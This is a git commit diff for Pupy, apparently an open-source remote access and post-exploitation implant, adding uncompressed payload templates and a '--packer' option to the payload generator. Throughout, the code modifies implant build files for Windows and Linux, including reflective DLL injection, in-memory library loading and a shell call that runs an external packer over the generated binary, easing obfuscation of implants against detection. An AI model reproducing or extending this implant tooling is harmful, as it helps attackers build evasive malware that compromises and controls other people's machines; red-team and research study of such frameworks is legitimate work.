Make pupy packer friendly (optionally)

This commit is contained in:
Oleksii Shevchuk 2017-07-02 16:23:33 +03:00
parent 040ca0975a
commit 24998d3bcc
9 changed files with 111 additions and 56 deletions

View File

@ -8,32 +8,37 @@ import struct
MAX_CHAR_PER_LINE=50
if __name__=="__main__":
h_file=""
file_bytes=b""
with open(sys.argv[1], "rb") as f:
file_bytes=f.read()
h_file=""
file_bytes=b""
with open(sys.argv[1], "rb") as f:
file_bytes=f.read()
attribute = '\n'.join([
'__attribute__(({}))'.format(x) for x in sys.argv[2:]
])
compressed = int(sys.argv[2])
payload_len = len(file_bytes)
payload = struct.pack('>I', payload_len) + pylzma.compress(
file_bytes,dictionary=24,fastBytes=255)
attribute = '\n'.join([
'__attribute__(({}))'.format(x) for x in sys.argv[3:]
])
h_file += "static const int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(payload))
h_file += attribute
h_file += "\nstatic const char %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")
current_size=0
payload_len = len(file_bytes)
payload = struct.pack('>I', payload_len) + (
pylzma.compress(
file_bytes, dictionary=24, fastBytes=255
) if compressed else file_bytes
)
for c in payload:
h_file+="'\\x%s',"%binascii.hexlify(c)
current_size+=1
if current_size>MAX_CHAR_PER_LINE:
current_size=0
h_file+="\n"
h_file += "static const int %s_size = %s;"%(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_"), len(payload))
h_file += attribute
h_file += "\nstatic const char %s_start[] = {\n"%sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")
current_size=0
h_file += "'\\x00' };\n"
for c in payload:
h_file+="'\\x%s',"%binascii.hexlify(c)
current_size+=1
if current_size>MAX_CHAR_PER_LINE:
current_size=0
h_file+="\n"
with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w:
w.write(h_file)
h_file += "'\\x00' };\n"
with open(sys.argv[1].replace(".","_").replace("\\","_").replace("/","_")+".c",'w') as w:
w.write(h_file)

View File

@ -1,21 +1,29 @@
/* --- Code for inlining --- */
#ifndef UNCOMPRESSED
#include "LzmaDec.h"
static void *_lzalloc(void *p, size_t size) { p = p; return malloc(size); }
static void _lzfree(void *p, void *address) { p = p; free(address); }
static ISzAlloc _lzallocator = { _lzalloc, _lzfree };
#define lzmafree(x) free(x)
#else
#define lzmafree(x) do {} while (0)
#endif
static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_size) {
unsigned char *uncompressed = NULL;
size_t uncompressed_size = 0;
#ifndef UNCOMPRESSED
const Byte *wheader = (Byte *) data + sizeof(unsigned int);
const Byte *woheader = (Byte *) wheader + LZMA_PROPS_SIZE;
ELzmaStatus status;
size_t srcLen;
int res;
#endif
union {
unsigned int l;
@ -29,6 +37,7 @@ static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_siz
uncompressed_size = x.l;
#ifndef UNCOMPRESSED
uncompressed = malloc(uncompressed_size);
if (!uncompressed) {
return NULL;
@ -45,6 +54,9 @@ static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_siz
free(uncompressed);
return NULL;
}
#else
uncompressed = data + sizeof(unsigned int);
#endif
if (puncompressed_size) {
*puncompressed_size = uncompressed_size;
@ -64,6 +76,6 @@ static PyObject *PyObject_lzmaunpack(const char *data, size_t size) {
object = PyMarshal_ReadObjectFromString(
uncompressed, uncompressed_size);
free(uncompressed);
lzmafree(uncompressed);
return object;
}

View File

@ -47,7 +47,16 @@ PYTHON ?= python
TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/
PYOBJS := _memimporter.o Python-dynload.o pupy_load.o pupy.o
COMMON_OBJS := list.o tmplibrary.o daemonize.o decompress.o LzmaDec.o
COMMON_OBJS := list.o tmplibrary.o daemonize.o decompress.o
ifeq ($(UNCOMPRESSED),)
COMMON_OBJS += LzmaDec.o
COMPRESSED = 1
else
CFLAGS += -DUNCOMPRESSED
SUFFIX := unc.$(SUFFIX)
COMPRESSED = 0
endif
ifeq ($(OS),Linux)
ifeq ($(ARCH),64)
@ -76,21 +85,23 @@ import-tab.c import-tab.h: mktab.py
Python-dynload.o: Python-dynload.c import-tab.c import-tab.h
$(CC) -c -o $@ $< $(CFLAGS)
ifeq ($(UNCOMPRESSED),)
LzmaDec.o: ../lzma/LzmaDec.c
$(CC) $(CFLAGS) -O3 -fPIC -c -o $@ $<
endif
resources/library_compressed_string.txt: ../gen_library_compressed_string.py resources/library.zip
$(PYTHON) $(PFLAGS) ../gen_library_compressed_string.py
resources_library_compressed_string_txt.c: ../gen_resource_header.py resources/library_compressed_string.txt resources/library.zip
$(PYTHON) $(PFLAGS) ../gen_resource_header.py \
resources/library_compressed_string.txt $(XZARGS)
resources/library_compressed_string.txt $(COMPRESSED) $(XZARGS)
resources/bootloader.pyc: ../gen_python_bootloader.py ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py
$(PYTHON) $(PFLAGS) ../gen_python_bootloader.py $(DEBUG_ADD)
resources_bootloader_pyc.c: ../gen_resource_header.py resources/bootloader.pyc
$(PYTHON) $(PFLAGS) $+ $(XZARGS)
$(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS)
linux-inject/%.o: linux-inject/%.c
$(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $<
@ -120,13 +131,13 @@ resources/library.zip: ../build_library_zip.py ../additional_imports.py
$(PYTHON) -OO $(PFLAGS) $<
resources_python27_so.c: ../gen_resource_header.py resources/python27.so
$(PYTHON) $(PFLAGS) $+ $(XZARGS)
$(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS)
resources_libssl_so.c: ../gen_resource_header.py resources/libssl.so
$(PYTHON) $(PFLAGS) $+ $(XZARGS)
$(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS)
resources_libcrypto_so.c: ../gen_resource_header.py resources/libcrypto.so
$(PYTHON) $(PFLAGS) $+ $(XZARGS)
$(PYTHON) $(PFLAGS) $+ $(COMPRESSED) $(XZARGS)
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).$(SUFFIX): main_exe.o $(PYOBJS) $(COMMON_OBJS)
$(CC) $(PIE) $+ -o $@ $(LDFLAGS)

View File

@ -25,6 +25,10 @@ make clean
make PIE=
make clean
make DEBUG=1 PIE=
make clean
make PIE= UNCOMPRESSED=1
make clean
make DEBUG=1 PIE= UNCOMPRESSED=1
__CMDS__
umount buildenv/lin32/dev
@ -44,6 +48,10 @@ make clean
make
make clean
make DEBUG=1
make clean
make UNCOMPRESSED=1
make clean
make DEBUG=1 UNCOMPRESSED=1
__CMDS__
umount buildenv/lin64/dev

View File

@ -53,7 +53,7 @@ static inline void* xz_dynload(const char *soname, const char *xzbuf, size_t xzs
void *res = memdlopen(soname, (char *) uncompressed, uncompressed_size);
free(uncompressed);
lzmafree(uncompressed);
if (!res) {
dprint("loading %s from memory failed\n", soname);
@ -169,17 +169,13 @@ uint32_t mainThread(int argc, char *argv[], bool so) {
PyObject *sub = PySequence_GetItem(seq, i);
if (seq) {
PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d);
dprint("EVAL CODE %p -> %p\n", sub, discard);
if (!discard) {
#ifdef DEBUG
PyObject *ptype, *pvalue, *ptraceback;
PyErr_Fetch(&ptype, &pvalue, &ptraceback);
dprint("SEQ %d EXCEPTION: %s\n", i, PyString_AsString(pvalue));
PyErr_Print();
#endif
rc = 255;
break;
}
Py_XDECREF(discard);
/* keep going even if we fail */
}
Py_XDECREF(sub);
}

View File

@ -45,9 +45,18 @@ PYOBJS := \
COMMON_OBJS := \
MemoryModule.obj \
actctx.obj list.obj thread.obj remote_thread.obj \
LoadLibraryR.obj LzmaDec.obj
LoadLibraryR.obj
all: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).exe $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).dll
ifeq ($(UNCOMPRESSED),)
COMMON_OBJS += LzmaDec.obj
COMPRESSED = 1
else
CFLAGS += /DUNCOMPRESSED
SUFFIX := unc.$(SUFFIX)
COMPRESSED = 0
endif
all: $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll
$(BUILDENV_READY):
./buildenv.sh "$(BUILDENV)"
@ -71,13 +80,13 @@ resources/library.zip: ../build_library_zip.py $(BUILDENV_READY)
$(PYTHON) ../build_library_zip.py -windows
resources_library_compressed_string_txt.c: ../gen_resource_header.py resources/library_compressed_string.txt resources/library.zip $(BUILDENV_READY)
$(HOST_PYTHON) ../gen_resource_header.py resources/library_compressed_string.txt
$(HOST_PYTHON) ../gen_resource_header.py resources/library_compressed_string.txt $(COMPRESSED)
resources/bootloader.pyc: ../../pupy/packages/all/pupyimporter.py ../../pupy/pp.py ../gen_python_bootloader.py $(BUILDENV_READY)
$(PYTHON) ../gen_python_bootloader.py $(DEBUG_ADD)
resources_bootloader_pyc.c: resources/bootloader.pyc ../gen_resource_header.py $(BUILDENV_READY)
$(HOST_PYTHON) ../gen_resource_header.py $<
$(HOST_PYTHON) ../gen_resource_header.py $< $(COMPRESSED)
resources/python27.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/python27.dll $(BUILDENV_READY)
cp $< $@
@ -86,16 +95,18 @@ resources/msvcr90.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/msvcr90.dll $(BUILDE
cp $< $@
resources_python27_dll.c: resources/python27.dll ../gen_resource_header.py $(BUILDENV_READY)
$(HOST_PYTHON) ../gen_resource_header.py $<
$(HOST_PYTHON) ../gen_resource_header.py $< $(COMPRESSED)
resources_msvcr90_dll.c: resources/msvcr90.dll ../gen_resource_header.py $(BUILDENV_READY)
$(HOST_PYTHON) ../gen_resource_header.py $<
$(HOST_PYTHON) ../gen_resource_header.py $< $(COMPRESSED)
$(PYOBJS): %.obj: %.c
$(CC) /c $(CFLAGS) /I$(PYTHONPATH)\\include $<
ifeq ($(UNCOMPRESSED),)
LzmaDec.obj: ../lzma/LzmaDec.c
$(CC) /c $(CFLAGS) $<
endif
main_exe.obj: main_exe.c
$(CC) /c $(CFLAGS) $<
@ -106,10 +117,10 @@ main_exe.obj: main_exe.c
ReflectiveLoader.obj: ReflectiveLoader.c
$(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $<
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS)
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS)
$(CC) $(CFLAGS) $+ /Fe$@ $(LINKER_OPTS)
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS)
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS)
$(CC) $(CFLAGS) $+ /Fe$@ /LD
.PHONY: clean

View File

@ -59,7 +59,7 @@ DWORD WINAPI mainThread(LPVOID lpArg)
);
int r = _load_msvcr90(msvcr90);
free(msvcr90);
lzmafree(msvcr90);
dfprint(stderr,"loading msvcr90.dll: %d\n", r);
}
@ -81,7 +81,7 @@ DWORD WINAPI mainThread(LPVOID lpArg)
else{
void *python27 = lzmaunpack(resources_python27_dll_start, resources_python27_dll_size, NULL);
int res = _load_python("python27.dll", python27);
free(python27);
lzmafree(python27);
if(!res) {
dfprint(stderr,"loading python27.dll from memory failed\n");

View File

@ -38,6 +38,7 @@ format = client
os = windows
arch = x86
external = false
packer =
#output =
#launcher =
#launcher_args =

View File

@ -42,7 +42,7 @@ def check_templates_version():
logging.warning("Your templates are not synced with your pupy version ! , you should update them with \"git submodule update\"")
def get_edit_binary(path, conf):
def get_edit_binary(path, conf, compressed_config=True):
logging.debug("generating binary %s with conf: %s"%(path, conf))
binary=b""
with open(path, 'rb') as f:
@ -62,7 +62,8 @@ def get_edit_binary(path, conf):
new_conf = marshal.dumps(compile(get_raw_conf(conf), '<config>', 'exec'))
uncompressed = len(new_conf)
new_conf = pylzma.compress(new_conf)
if compressed_config:
new_conf = pylzma.compress(new_conf)
compressed = len(new_conf)
new_conf = struct.pack('>II', compressed, uncompressed) + new_conf
new_conf_len = len(new_conf)
@ -194,7 +195,7 @@ def updateTar(arcpath, arcname, file_path):
finally:
shutil.rmtree(tempdir)
def get_edit_apk(path, conf):
def get_edit_apk(path, conf, compressed_config=None):
tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")
try:
@ -236,8 +237,8 @@ def get_edit_apk(path, conf):
shutil.rmtree(tempdir, ignore_errors=True)
os.unlink(tempapk)
def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False, bits=None, fmt=None):
TEMPLATE_FMT = fmt or 'pupy{arch}{debug}.{ext}'
def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False, bits=None, fmt=None, compressed=True):
TEMPLATE_FMT = fmt or 'pupy{arch}{debug}{unk}.{ext}'
ARCH_CONVERT = {
'amd64': 'x64', 'x86_64': 'x64',
'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86',
@ -298,7 +299,7 @@ def generate_binary_from_template(config, osname, arch=None, shared=False, debug
else:
ext = non_shared_ext
filename = template.format(arch=arch, debug=debug, ext=ext)
filename = template.format(arch=arch, debug=debug, ext=ext, unk='.unc' if not compressed else '')
template = os.path.join(
'payload_templates', filename
)
@ -317,7 +318,7 @@ def generate_binary_from_template(config, osname, arch=None, shared=False, debug
print colorize("[C] {}: {}".format(k, v), "yellow")
return generator(template, config), filename, makex
return generator(template, config, compressed), filename, makex
def load_scriptlets():
scl={}
@ -410,6 +411,9 @@ def get_parser(base_parser, config):
choices=CLIENT_OS, help='Target OS (default: windows)')
parser.add_argument('-A', '--arch', default=config.get('gen', 'arch'),
choices=CLIENT_ARCH, help='Target arch (default: x86)')
parser.add_argument('-U', '--uncompressed', default=False, action='store_true',
help='Use uncompressed template')
parser.add_argument('-P', '--packer', default=config.get('gen', 'packer'), help='Use packer')
parser.add_argument('-S', '--shared', default=False, action='store_true', help='Create shared object')
parser.add_argument('-o', '--output', help="output path")
parser.add_argument('-D', '--output-dir', default=config.get('gen', 'output'), help="output folder")
@ -499,7 +503,8 @@ def pupygen(args, config):
data, filename, makex = generate_binary_from_template(
conf, args.os,
arch=args.arch, shared=args.shared, debug=args.debug
arch=args.arch, shared=args.shared, debug=args.debug,
compressed=not ( args.uncompressed or args.packer )
)
if not outpath:
@ -522,7 +527,13 @@ def pupygen(args, config):
outfile.close()
if makex:
os.chmod(outfile.name, 0511)
os.chmod(outfile.name, 0711)
if args.packer:
subprocess.check_call(
args.packer.replace('%s', outfile.name),
shell=True
)
outpath = outfile.name